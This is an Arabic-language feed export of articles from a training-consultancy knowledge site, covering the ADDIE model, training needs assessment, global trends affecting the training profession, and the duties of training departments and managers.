  • الحذر من التفاؤل و التشاؤم الشديدين .
  • الاعتماد على الاحتياجات التي أظهرها المسح الإداري الشامل.
  • مراعاة ظروف العمل وعدم تعارض النشاط التدريبي معه.
  • مراعاة نسبة عدد المستهدفين سنوياً مع العدد الكلي للعاملين بالمنظمة.
  • اتفاق الأهداف العامة للتدريب مع الأهداف العامة للمنظمة.
  • الاستفادة من نتائج تقييم الخطط التدريبية السابقة.
  • ترتيب الأولويات.
  • مسايرة الحالة المالية و الاعتمادات المخصصة للتدريب.
  • التوفيق ما بين الاحتياجات التدريبية والإمكانات المتاحة.
  • إعادة النظر في إمكانات التدريب بشكل دوري حتى تتناسب مع الاحتياجات المتغيرة تبعاً لظروف العمل.
  • مراعاة أسس ومبادئ التدريب عند التخطيط لبرامجه.

 

ثالثاً: نموذج ADDIE لعملية التدريب

 

 

يعتبر نموذج ADDIE لتصميم البرنامج التدريبي من أهم النماذج التي يلجأ إليها المدربونوالشركات من أجل تصميم برنامج تدريبي متكامل يأخذ بعين الاعتبار عدة نواح يمكن من خلالها تقييم مدى فاعلية البرنامج وتأثيره في سد الفجوة في أداء الموظفين أو تحقيق الأهداف المرجوة في مجال ما من قبل المؤسسات.

وكلمة ADDIE  هي عبارة عن اختصار للمراحل التي يتم من خلالها تصميم البرنامج التدريبي ويمكن تفصيلها على النحو التالي:

 

1.   التحليل (تحديد الاحتياج التدريبى)  Analyse:

قبل البدء بتصميم برنامج لابد من تحليل نوع الاحتياج التدريبي الذي سيبنى على أساسه البرنامج التدريبي ويتم ذلك عن طريق دراسة الفجوة في الأداء والأهداف المطلوبة لسد تلك الفجوة وهل تلك الفجوة ناتجة فعلا عن احتياج تدريبي ام أنها تعتمد على متطلبات اخرى. ويتم التحليل بعدة طرق من خلال الاطلاع على تقارير الاداء بشكل عام وأداء الموظفين بشكل خاص ووضع اهداف المؤسسة والإدارات بعين الاعتبار..كما يتم عن طريق المقابلات المباشرة مع الموظفين والمدراء والمشرفين وجمع القدر الأكبر من البيانات لوضع تصور عام عن مدى الاحتياج التدريبي.

٢. التصميم Design:

بعد التأكد من أن الفجوة ناتجة عن نقص في التدريب وبعد القيام بالتحليل المناسب تأتي مرحلة التصميم التدريب تصميم البرنامج التدريبي والذي يعتمد على عدة معايير منها نوع التدريب المطلوب (قاعات، على رأس العمل….إلخ) كما يراعى في عملية التصميم نوع المتدربين وخلفياتهم المعرفية عن الموضوع كما لابد من النظر إلى ميزانية الشركة وقدرتها على تنفيذ نوع معين من التدريب دون الآخر.

٣. التطوير Develop:

بعد الانتهاء من مرحلة التصميم الأولية للبرنامج من خلال وضع الأفكار الرئيسية لابد من العمل على تطوير البرنامج التدريبي من خلال اعادة ترتبب الافكار وصياغة اللهداف التدريبية بشكل اكثر وضوحا واضافة كل ما من شأنه دعم البرنامج التدريبي ليصل الى الغاية المنشودة منه.

٤. التطبيق Implement:

تأتي مرحلة تطييق البرنامج كإحدى المراحل المهمة في نجاح العملية التدريبية من خلال العمل في هذه المرحلة على عملية نقل المحتوى العلمي المطلوب للمتدربين من أجل الوصول إلى الغاية المراد منها التدريب. ولابد للمدرب من مراعاة تقديم المادة بشكل يؤدي إلى تطبيق المتدربين للمعارف في بيئة العمل. وتجهيز كل ما من شأنه لتعزيز موضوع المادة من امثلة وكتيبات ووسائل توضيحية وغير ذلك.

 

٥. التقييم Evaluate:

تعتبر مرحلة تقييم البرنامج تتويج لكل المراحل السابقة وتعتمد هذه المرحلة على جمع البيانات عن ما إذا حقق البرنامج الأهداف المرجوة أم لا. ويتم التقييم خلال عدة مراحل ومن عدة جهات، حيث يتم تقييم البرنامج التدريبي أثناء العملية التدريبية من قبل المدربين من خلال تعبئة نماذج معينة يتم تصميمها لهذا الغرض يتم من خلالها معرفة ما إذا كان البرنامج التدريبي مناسبا لفئة الخضور أم لا..كما تعتبر الاختبارات إحدى وسائل تقييم البرنامج التدريبي، كما يتم أيضا تقييم مدى فاعلية البرنامج على أرض الواقع من قبل مراقبة المشرفين والمدراء لأداء المتدربين.

 

 

 

 

رابعاً: تحديد الاحتياجات التدريبية

  • مفهوم عملية تحديد الاحتياجات التدريبية

تتعدد الآراء حول مفهوم الاحتياجات التدريبية ونذكر منها :

 تتمثل الاحتياجات التدريبية فى الفرق بين مستوى الأداء الفعلى ومستوى الأداء المرغوب لدى عدد أو أعداد من العاملين فى موقع أو مستوى تنظيمى أو أكثر بحيث يؤدى سد هذه الاحتياجات لتحسين الأداء أو معالجة مشكلات قائمة.

إن تحديد الاحتياجات التدريبية يمثل مرحلة التشخيص بالنسبة للعملية التدريبية.

 

ويحدد الدكتور على محمد عبدالوهاب مفهوم الاحتياجات التدريبية من جانبين:

الأول : وهو المعلومات أو الاتجاهات أو المهارات أو القدرات السلوكية المعينة التى يراد تنميتها أو تغييرها أو تبديلها بسبب تغيرات تنظيمية أو تكنولوجية أو إنسانية .

الثانى : وهو ضعف أو نقص مهارات فنية أو إنسانية واقعية أو محتملة الحدوث فى قدرات أو معلومات أو اتجاهات العاملين .

 

في تقييم وتقدير الاحتياجات التدريبية للمنظمة يمكن تحديد الفجوة بين الاحتياجات والمهارات الحالية. وعادة ، يوجد خياران لإغلاق فجوة المهارات داخل الشركة وهما التعيين أو التدريب (وتسمى أيضا قرار الصنع أو الشراء). فعلى سبيل المثال، يمكن للمنظمة التعاقد مع الآخرين الذين يملكون المهارات المطلوبة (خيار التعيين) أو يمكن للمنظمة تدريب وتطوير الموظفين الحاليين(خيار التدريب). وتوجد أسباب وجيهة لتفضيل أحد الخيارين على الآخر. بعض البحوث تعرض أن عملية التعيين ليست فعالة في المنظمات التي تعتمد اعتماداً كبيراً فى عملها على التفاعل الاجتماعى بين الموظفين وبعضهم البعض، ويكون منطقيا استخدام التدريب والتعليم لتطوير مهارات العاملين بدلاً من استبدالهم وتبقي هذه الشبكات الاجتماعية الحرجة في مكانها. وهناك عامل رئيسي آخر للاختيار بين التدريب أم التعيين وهو معدل التغير التكنولوجي فى العمل. إن تعيين المواهب الجديدة يكون أكثر ملائمة بالنسبة للشركات في الصناعات التي تتغير فيها التكنولوجيا والأسواق بسرعة لذلك لا توجد ضرورة لتطوير المهارات اللازمة للجيل المقبل في الداخل وبالتالي الاستفادة من تعيين موظفين لديهم المهارات المطلوبة من سوق العمل الخارجي.

  • أهمية تحديد الاحتياجات التدريبية:

في كثير من الأحيان، يتم النظر إلى عملية تحديد الاحتياجات التدريبية في المنظمة بمعزل عن النتائج أو الأهداف طويلة الأجل التي تسعى المنظمة الى تحقيقها. ونتيجة لذلك لا تكون الدورات التدريبية التى تقوم المنظمة بتنفيذها جزءاً من إستراتيجية المنظمة  الشاملة لتحسين الأداء. كل هذا يمكن تجنبه من خلال بذل جهد لتقييم الحاجة إلى التدريب ، وجمع المعلومات عن التدريب والحاجة الفعلية أو المحتملة للمشاركين وتعتبر هذه هى الخطوة الأولى في تصميم خطة برامج تدريبية شاملة للمنظمة وتتفق مع إستراتيجية وأهداف المنظمة طويلة الأجل.

 

يتم القيام بعملية تحديد الاحتياجات التدريبية لسبب واحد وهو اكتشاف ما الذي يَحتاجُه المتدربون فى المنظمة لِكي يَكُونوا ناجحينَ. ومن المُهمِ تَذْكير أنه مع ذلك فالتدريب خيار واحد من بين مجموعة من الخيارات التى لا تعد ولا تحصى التي قد تكون الجواب لملء فجوة الأداء.

 

إن هدف عملية تحديد الاحتياجات التدريبية جمع المعلومات اللازمة لتحديد احتياجات التعلم لكل فرد بالمنظمة وتحليل الاحتياجات التدريبية بصورة عامة لكل قطاع من قطاعات المنظمة.

 

 

 

 

  • العوامل التي يجب اخذها بالاعتبارعند تقدير فجوة الأداء:
  • مشاركة أصحاب الشأن والمشاركين المستهدفين في تقدير الاحتياجات وعملية تخطيط التدريب، وذلك لكسب دعمهم.
  • تقرير فيما إذا كان التدريب ضروريا وبحاجة إليه.
  • تحديد الفئة المستهدفة من موضوع التدريب.
  • تحديد النتائج المتوقعة من التدريب.
  • تحديد الفئة المستهدفة من التدريب.
  • تطوير المعايير التفصيلية لاختيار المتدربين.
  • تقرير مستوى المشاركين من حيث: المعرفة، المهارة والتوجه لدى الفئات المستهدفة من التدريب.
  • إعداد خطة التدريب السنوي.
  • بناء قاعدة أساسية تساعد على قياس نتائج التدريب.

 

 

  • طرق وأساليب تحديد الاحتياجات التدريبية

تتكون عملية تحديد الاحتياجات الحقيقية من ثلاث مراحل مترابطة يمكن أن ينطبق على فرد أو جماعة أو الأداء التنظيمي وتحليل القضايا.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  1. التحليل الاستقصائى : وفيه يتم تحديد تباين الأداء عن طريق تحديد الوضع الحالي للأداء مقابل الأداء المطلوب تحقيقه.
  2. تحليل المسببات : تحديد ما إذا كانت مشكلة الأداء بسبب القصور فى المهارة أم بسبب مشكلة أخرى.
  3. التدخل في اختيار والتصميم : تحديد ما ينبغي فعله ، وما هو العمل ، استنادا إلى الحقائق التي تم جمعها.

 

لا يوجد حل واحد يناسب جميع المنهجيات أو أسلوب واحد يعمل في جميع الحالات، فإنه فى معظم الحالات يكون استخدام مجموعة من الوسائل والطرق ضرورياً للحصول على بيانات صحيحة والوقوف على الأسباب الجذرية لمشكلة الأداء، وكذلك لأن عملية تحديد الاحتياجات تحتاج إلى كثير من الوقت والموارد ، فمن الأفضل أن يتم استخدام مزيج من الاستراتيجيات لمعرفة الاحتياجات الحقيقية.

 

ويرى جارى ديسلر أن تحليل الاحتياجات التدريبية يقوم على أساسين هما : تحليل المهمة Task Analysis ، وتحليل الأداء Performance Analysis .

وتشير الدراسات أن 19 % من مسئولى التدريب يقولون أنهم يستخدمون تحليل المهام لتحديد الاحتياجات التدريبية وخاصة للموظفين الجدد، أما تحليل الأداء فهو للأفراد القائمين بالعمل فعلاً من حيث نقد أدائهم وعيوبهم، وهناك طرق أخرى للتعرف على الاحتياجات التدريبية مثل تقارير المشرفين، والسجلات الشخصية، والملاحظات، واختبار المعرفة بالوظيفة، وقوائم الاستبيان.

***

انتهت بحمد الله المقالة الثالثة من مسار كيم التعليمي لتخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-3/feed/ 0 سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الثانية https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-2/ https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-2/#respond Sun, 09 Apr 2023 19:25:15 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10455 سلسلة مقالات – تخطيط التدريب وتقييمه بقلم د/ خالد توفيق المقالة الثانية رابعاً: أهم المتغيرات العالمية وتأثيرها على مهنة التدريب اخى المتدرب: من فضلك فكر واكتب من وجهة نظرك أهم المتغيرات العالمية التى ترى أنها تؤثر على مهنة التدريب. من خلال دراسة قامت بها منظمة ASTD لاستطلاع الرأي حول أهم المتغيرات والاتجاهات فى العالم وتأثيرها […]

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

المقالة الثانية

رابعاً: أهم المتغيرات العالمية وتأثيرها على مهنة التدريب

  • اخى المتدرب:
  • من فضلك فكر واكتب من وجهة نظرك أهم المتغيرات العالمية التى ترى أنها تؤثر على مهنة التدريب.

من خلال دراسة قامت بها منظمة ASTD لاستطلاع الرأي حول أهم المتغيرات والاتجاهات فى العالم وتأثيرها على مهنة التدريب فى المستقبل من خلال مشاركة 100 من قادة الفكر والتطبيق فى مهنة التدريب ومن خلال استجابات عينة مكونة من 2000 مدير تدريب على مستوى العالم ، وقد تم التوصل إلى ثمانية اتجاهات يجب على كل من يعمل في مجال التدريب التعرف عليها وهى كالأتي :

  • الصراعات الحضارية والحرب على الإرهاب وزيادة المخاطر تعيد التفكير فى أساليب تحقيق النمو والربحية

ويعنى ذلك أن الشركات سوف تستمر في البحث عن أساليب وأدوات لزيادة الكفاءة والفعالية وتخفيض التكلفة ، مع إعادة التفكير في نموذج العمل التي تقوم به الشركة وبالتالي سوف يعاد تشكيل مجموعة القيم وثقافة المنظمة .

  • التطورات التكنولوجية تعمل على إحداث تحولات كاملة فى الطريقة التى نعيش ونتعلم ونعمل بها

كان ينُظر للتكنولوجيا سابقاً على أنها أداة نافعة لزيادة الإنتاجية وتحسين ظروف العمل ، ولكن الآن أصبحت أسلوب للحياة يساعد الفرد والمنظمة على تحقيق الفعالية والكفاءة ، فاستخدام تكنولوجيا الإنترنت فى كافة الصناعات وظهور تكنولوجيا الاتصالات واستخداماتها العديدة مثل : التعليم الإلكتروني والتجارة الإلكترونية سوف يعيد تشكيل أسلوب الحياة وأسلوب العمل وأسلوب التعلم ، نتيجة لذلك سوف يظهر فى المستقبل وظائف جديدة تحتاج لمهارات جديدة .

 

  • العالم يتحول إلى عالم صغير ينكمش باستمرار ( العولمة )

العولمة والمنافسة العالمية من أهـم العوامل التى سوف تؤثر على أداء وأساليب عمل الشركات فى المستقبل ، ففي سبيل تحقيق الفعالية والتميز التنافسي الدولي ستلجأ الشركات إلى مفهوم الاعتماد على الموردين الخارجيين من جميع أنحاء العالم ( Outsourcing ) فمعظم الشركات العالمية الآن أصبح تعتمد على موردي المنتجات والخدمات من الصين والهند وماليزيا على سبيل المثال ، ووفقاً لدراسة قامت بها منظمة SHRM فى عام 2003 اتضح أن عدد المديرين العاملين فى شركة فورد وجنرال موتورز ونستله من خارج البلد الأم أكثر بكثير من عدد المديرين والعاملين بأفرع الشركات فى البلاد الأخرى .

وأخيراً يمكن القول أن المنافسة العالمية سوف تشجع أيضاً التعاون العالمي أي أن العالم ينكمش الآن.

  • ظهور مفهوم الشركات العابرة للقوميات والحاجة لأسلوب جديد لادارة الشركات وتحقيق الاهداف .
  • الاهتمام الشديد بالعميل
  • التغير سوف يتضاعف كل عشر سنوات (تقادم المعرفة )

إن زيادة سرعة التغير فى بيئة الأعمال وزيادة سرعة التقدم فى تكنولوجيا المعلومات ينبئ أن التغير سوف يكون مستمر وأسرع مما نعتقد ويمكن أن نطلق على ذلك أن المعارف الحالية سوف تتسم بقصر تاريخ صلاحيتها ، فالمعارف والخبرات الوظيفية سوف يكون عمرها الافتراضى فى المستقبل لا يتجاوز من (3 الى 5 سنوات ) وهناك أمثلة كثيرة مثل : وحدات المايكروبروسسور فى الكمبيوتر فيظهر الان جيل جديد كل عشرة شهور ، وأمثلة أخرى كثيرة عن تكنولوجيا الاتصالات وغيرها ، ويعنى ذلك ان التعلم وتحديث المعارف سوف يصبح أمر متواصل ومستمر وسريع .

 

  • المخاطر الأمنية سوف تغير من دور الشركات والحكومات

تزايد المخاطر الأمنية فى الفترة الحالية سوف يغير من وجهة نظر العاملين تجاه شركاتهم بحيث يعتقد فى الشركة أن تؤمن للعامل بيئة عمل آمنة ، وكذلك تنظر الشركات إلى الحكومة بنفس النظرة مما سيؤدي إلى تغير استراتيجيات وأساليب الحفاظ على الأمن داخل الشركات مما سيؤثر على حريات العاملين فى سبيل تحقيق الامن المزعوم  .

 

  • زيادة الاهتمام بالجانب الأخلاقي فى بيئة العمل

كرد فعل لزيادة المخاطر الأمنية وتقييد حريات العاملين سوف تظهر أهمية حقوق العاملين والثقة بين العاملين والإدارة والولاء من جانب العاملين تجاه الشركة ، كل ذلك سوف يؤدي إلى زيادة الاهتمام بالمجتمع المحيط بالشركة .

ومن خلال دراسة أجريت على 1600 مدير عالمي كانت النتائج أن 57% منهم يتجهون إلى الاهتمام نحو الأخلاقيات سواء فى الإدارة أو فى الإشراف .

 

  • تغير الاشكال التنظيمية للشركات:

فالشركات الآن تحولت من الهيكل التنظيمي الهرمي الى الشركات الشبكية والشركات الافتراضية مما يؤدى الى تغير أساليب العمل والمهارات المطلوبة.

 

  • تغير وتنوع الثقافات فى بيئة العمل:

كنتيجة للتوسع فى الاسواق العالمية وانتشار الشركات العابرة للقوميات سوف تجمع بيئة الاعمال مجموعة متنوعة ومتعددة من الثقافات والقيم والعادات سوف تغير من طريقة العمل والمهارات المطلوبة للتعامل مع ذلك التنوع .

وفيما يلى تلخيص لأهم المتغيرات وتأثيرها على بيئة الاعمال والمنظمات:

  • العـو لـمة :
  • ظهور الشركات العابرة للقوميات والحاجة لأسلوب جديد لادارة الشركات .
  • المنافسة العالمية الحادة .
  • ظهور البطالة كظاهرة عالمية .
  • تغيرات سريعة وغير متوقعة على المستوى الاقتصادي عامة .

 

  • التحول نحو اقتصاد المعرفة :
  • الاهتمام بالمنتجات ذات التركيز المعرفى والمعلوماتى.
  • ظهور وظائف جديدة و الحاجة الى مهارات ومعارف متجددة.
  • ظهور احتياجات ومنتجات جديدة.
  • ظهور مفهوم المنظمة المتعلمة لمواجهة التغيرات البيئية الخارجية السريعة.
  • زيادة الاستثمار فى رأس المال البشرى لزيادة الحاجة للمعرفة.

 

 

  • التطورات التكنولوجية وتغير الاشكال التنظيمية للمنظمات :
  • استحداث وسائل جديدة للعمل وللتعاون بين العاملين ( المؤتمر الفيديوى ، البريد الالكترونى …الخ).
  • ظهور أشكال جديدة من الهياكل التنظيمية مثل : الشركة الشبكية و الشركة الافتراضية …الخ.
  • زيادة فعالية وسائل الإنتاج وزيادة الطاقة الإنتاجية.
  • زيادة فعالية وسائل الإشراف والرقابة والاتصال عن بعد.
  • زيادة فعالية اداء العامل والموظف باستخدام الأدوات والأساليب التكنولوجية الحديثة.

خامساً: عناصر العملية التدريبية.

سادساً: اختصاصات ومسئوليات مسئولى التدريب

  • الهيكل التنظيمى لإدارة التدريب
  • اخى المتدرب ………
  • ارسم الهيكل التنظيمى لإدارة التدريب فى شركتك ……..

 

شكل مقترح لإدارة التدريب ……….

  • واجبات ومسئوليات إدارة التدريب
  • اخى المتدرب:
  • من فضلك اكتب واجباتك ومسئولياتك الوظيفية:

 

  • نموذج لبعض الواجبات الوظيفية للأقسام التابعة لإدارة التدريب

قسم تخطيط وتصميم البرامج التدريبية، ويختص بالأعمال التالية :

  1. تحديد الاحتياجات التدريبية للوزارة وتحليلها باستخدام الأدوات العلمية.
  2. إعداد خطة التدريب السنوية ضمن فريق عمل من الإدارة.
  3. إعداد الميزانية التقديرية لخطة التدريب السنوية.
  4. تصميم البرامج التدريبية.
  5. إعداد دليل شركات ومراكز التدريب في جميع تخصصات الشركة.
  6. مراجعة تصميم البرامج التدريبية المقدمة من الشركات والجهات الخارجية .
  7. إعداد بعض المواد التدريبية بالتعاون مع الإدارات المختصة وفقا للأسس العلمية .
  8. مراجعة المواد التدريبية المقدمة للشركات على ضوء الإطار العلمي للبرنامج .
  9. تحليل ودراسة تقارير المتابعة للمهمات الرسمية للاستفادة منها في التدريب .

 

قسم تنفيذ البرامج التدريبية، ويختص بالأعمال التالية :

  1. الإشراف على تنفيذ البرامج التدريبية المدرجة ضمن الخطة السنوية للإدارة .
  2. التنسيق مع الشركات والمؤسسات التدريبية بشأن الإعداد والتنظيم للبرامج التدريبية .
  3. التنسيق مع الإدارات المعنية بالشركة بشأن الترشيحات للبرامج التدريبية .
  4. مراسلة الجهات الحكومية والهيئات الملحقة والمستقلة فيما يتعلق ببرامج المالية العامة واختيار المرشحين.
  5. اختيار المرشحين وإبلاغهم عن مواعيد الدورات التدريبية .
  6. إدخال بيانات المحاضرين والمشرفين والمتدربين على الحاسب الآلي وتحديث البيانات دوريا .
  7. إعداد الكشوفات الخاصة بمكافآت المحاضرين والمشرفين ومتابعة صرفها .
  8. إعداد المساعدات التدريبية المختلفة والمتعلقة بالبرامج التدريبية من قاعات وأجهزة ومعدات تكنولوجية مناسبة.
  9. متابعة تنفيذ عقود صيانة معدات التدريب المختلفة سواء صيانة وقائية أو صيانة علاجية .
  10. توفير الأفلام التدريبية ذات العلاقة ببرامج التدريب مع تشغيل أجهزة السينما والمحافظة عليها .
  11. التنسيق مع الشركات المنفذة في توفير وتشغيل معدات تكنولوجيا التدريب .
  12. التنسيق لتقديم الخدمات الخاصة في فترة الاستراحة بالعمل مع الجهات المعنية .
  13. إعداد وكتابة شهادات حضور البرامج والدورات التدريبية للمتدربين بالتنسيق مع الشرآات المنفذة في هذا المجال .
  14. متابعة صرف سلفة النثريات بالتنسيق مع الشئون المالية .
  15. إعداد المقايسات المخزنية لإدارة التدريب .
  16. متابعة الطلبات لصرف الاحتياجات من الادوات المكتبية والأجهزة .

 

قسم متابعة وتقييم البرامج التدريبية، ويختص بالأعمال التالية :

  1. دراسة وتقييم عروض الشركات للبرامج التدريبية.
  2. عقد اجتماعات تنسيقية مع الشركات المنفذة للتدريب بالاشتراك مع قسم تصميم البرامج التدريبية .
  3. ترشيح الشركات التي سوف يسند إليها تنفيذ البرامج التدريبية الواردة في الخطة السنوية .
  4. متابعة وتقييم البرامج التدريبية بعد فترة من انتهائها.
  5. استخدام أساليب التقييم لبرامج اللغة الإنجليزية والحاسب الآلي .
  6. متابعة وتقييم البرامج التدريية أثناء وبعد الانتهاء مباشرة والتي تنفذ داخليا وخارجيا .
  7. متابعة المستجدات والتطورات في مجال تقييم فعالية التدريب والعائد منه .
  8. تقييم خطة التدريب السنوية في نهاية السنة المالية .
  9. متابعة وتقييم البرامج الخارجية والمهمات الدولية .
  10. إعداد وتقييم الاستبيانات المستخدمة في تقييم البرامج التدريبية.

 

 

 

 

 

 

قسم الأرشيف والحفظ:

  • تزويد المكتبة بأحدث الكتب والمراجع والدوريات العربية والأجنبية والإشراف على محتويات المكتبة من نشرات ومجلات التي يتم الاشتراك بها وتنظيم عمليات الاستعارة .
  • حفظ وفهرسة وتصنيف المواد التدريبية والكتب والأجهزة على الحاسب الآلي.
  • حفظ الخطط التدريبية للمراكز التدريبية والعروض التدريبية.
  • إعداد وحفظ قاعدة بيانات بالمدربين الأكفاء فى جميع التخصصات.
  • حفظ استمارات تعارف حضور المشتركين بالبرامج التدريبية.
  • حفظ استمارات تقييم البرامج التدريبية.
  • تقييم وتصنيف مراكز التدريب والمدربين.

 

تأثير مفهوم الوصول لقمة الأداءPeak Performance

على طبيعة ومهام مدير التدريب

” من وظيفة مدير التدريب إلى مستشار الأداء “

Form Training Manager To Performance Consultant

 

التحول من وظيفة متلقي أوامر تنفيذ البرامج التدريبية إلى مستشار الأداء بات من أهم التغيرات التي ستطراء على وظيفة مدير التدريب فالنظرة التقليدية لوظيفة مدير التدريب كانت محصورة في القيام بتحديد الاحتياجات التدريبية والاتفاق مع موردي خدمات التدريب أو التعاقد الخاص مع خبراء التدريب لتنفيذ البرامج التدريبية

ولكن بعد أن أصبح الهدف الرئيسي للتدريب الوصول لقمة الأداء ، أصبح المسمى الحديث لوظيفة مدير التدريب مستشار الأداء Performance Consultant وكان هذا عنوان اسم ورقة بحثية تم تقديمها في مؤتمر التدريب والتعليم الالكتروني – مارس 2004م .

فوفقا للدراسات والأبحاث والمؤتمرات التي نظمتها منظمة ASTD للتعرف على الاتجاهات الحديثة للتدريب تم التوصل إلى أن اسم وظيفة مدير تدريب لم يعد يلائم المهام والمسئوليات المستحدثة لمدير التدريب وبالتالي بات من الضروري تغيير اسم مهنة مدير التدريب إلى مستشار الأداء وفقا للدور الجديد الذي سيلعبه التدريب للوصول لهدف تحقيق قمة الأداء وفيما يلي توضيح المهام الجديدة الملقاة على عاتق مديري التدريب في الشركات كالاتى :

 

  1. القيادة والتحفيز.

مساعدة الآخرين في تحديد أهدافهم واتخاذ أفضل القرارات لاستخدام مهارات وقدرات العاملين وتحفيزهم على التعلم المتواصل .

 

 

  1. اختيار أفضل الطرق والأساليب لتنفيذ التدريب:

سواء كان ذلك من خلال التدريب من خلال التدريب التقليدي أو التدريب الالكتروني أو غير ذلك مع مراعاة الوقت والتكلفة المناسبة.

 

  1. تخطيط المسار الوظيفى

المساعدة في تخطيط المسار الوظيفي للعاملين بما يتوافق مع الأهداف طويلة الأجل للمنظمة عن طريق اختيار الحلول التدريبية التي تحقق ذلك الغرض .

 

  1. تصميم مناهج و محتويات البرامج التدريبية :

ويبدأ ذلك من التحديد السليم (لفجوة الأداء الفرق بين الأداء الحالي والأداء المطلوب) ثم تحديد  الاحتياجات التدريبية لسد تلك الفجوة، ثم تصميم البرامج التدريبية التي تعمل على اكتساب المهارات والمعارف المطلوبة والتي تعمل أيضا على تغير سلوك المتدرب وذلك وفقا أفضل الطرق والمناهج العلمية الحديثة للتعلم والطرق والأساليب التكنولوجية الحديثة المستخدمة وذلك لتعظيم الفوائد من عملية التدريب .

 

  1. مساعدة وتسهيل عملية التغيير التنظيمى :

قيادة وإدارة والمساعدة في عمليات التطوير والتغيير التنظيمي عن طريق نشر مفاهيم التغيير والتدريب على عملية التحول .

 

  1. تحسين الأداء البشرى :

وذلك بالوصول بالمتدربين إلى قمة الأداء البشرى  وذلك من خلال مفهوم ومراحل التدريب الادارى الموجه بالأداء ( سبق شرحه فيما سبق ) بدءا من عملية تحديد فجوة الأداء وانتهاء بعملية تقييم التدريب ، ثم يتلو ذلك توقع الأداء المطلوب مستقبليا والعمل على تحقيقه بأفضل الطرق والأساليب الحديثة المستخدمة في التدريب.

 

  1. إدارة المعرفة التنظيمية

وذلك من خلال مشاركة المعلومات والمعارف بين إدارات الشركة وتبنى وجهة النظر إن منظمات المستقبل هي منظمة متعلمة تكون سريعة الاستجابة للمتغيرات البيئية وتعمل على تحويل المعلومات إلى معارف.

 

  1. قياس وتقييم التعليم:

عن طريق اختيار وتطبيق استراتيجيات تقييم التدريب ( سبق ذكرها ) والاهتمام بمدى فعالية مخرجات التدريب.

 

***

انتهت بحمد الله المقالة الثانية من مسار كيم التعليمي لتخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-2/feed/ 0 سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الأولى https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-1/ https://cameknowledge.camecenter.com/articles/training-planning_and_evaluation-1/#respond Sun, 09 Apr 2023 19:20:45 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10452 سلسلة مقالات – تخطيط التدريب وتقييمه بقلم د/ خالد توفيق المقالة الأولى مفهوم العملية التدريبية واختصاصات ومواصفات مسئولى التدريب اولاً: مقدمة. ثانياً: مفهوم التدريب وأهميته وأهدافه. ثالثاً: الفرق بين التدريب والتعليم والتعلم. رابعاً: أهم المتغيرات العالمية وتأثيرها على مهنة التدريب خامساً: مكونات العملية التدريبية. سادساً: اختصاصات ومسئوليات مسئولى التدريب. سابعاً: مواصفات ومهارات المشتغلين فى إدارة […]

The post سلسلة مقالات -تخطيط التدريب وتقييمه- بقلم د/خالد توفيق- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط التدريب وتقييمه

بقلم د/ خالد توفيق

المقالة الأولى

مفهوم العملية التدريبية واختصاصات ومواصفات مسئولى التدريب

اولاً: مقدمة.

ثانياً: مفهوم التدريب وأهميته وأهدافه.

ثالثاً: الفرق بين التدريب والتعليم والتعلم.

رابعاً: أهم المتغيرات العالمية وتأثيرها على مهنة التدريب

خامساً: مكونات العملية التدريبية.

سادساً: اختصاصات ومسئوليات مسئولى التدريب.

سابعاً: مواصفات ومهارات المشتغلين فى إدارة التدريب.

 

أولاً: مقدمة

يواجه المجتمع البشرى تحديا حاسما فى هذا القرن الحادى والعشرين يتمثل فى تحقيق العمالة الكاملة والنمو الاقتصادى المتواصل فى الاقتصاد العالمى والإدماج الاجتماعى. بل بات هذا التحدى فى الآونة الأخيرة أكثر تعقيدا وإلحاحاً ، فالتغير الاقتصادى والاجتماعى والتكنولوجى يتسارع ويتطلب مهارات ومعارف وقدرات لانتهاز الفرص الملائمة فى الاقتصاد العالمى الجديد ولمواجهة المنافسة الشرسة بين المنظمات.

ويتزايد الإقرار بأن منح الناس المهارات والمعارف والقدرات، والاستثمار فى التدريب والتعليم يشكلان المدخل إلى التنمية الاقتصادية والاجتماعية، فرفع وتنمية المهارات والمعارف والقدرات تزيد من الإنتاجية والدخول وتسهل مشاركة كل شخص فى الحياة الاقتصادية والاجتماعية.

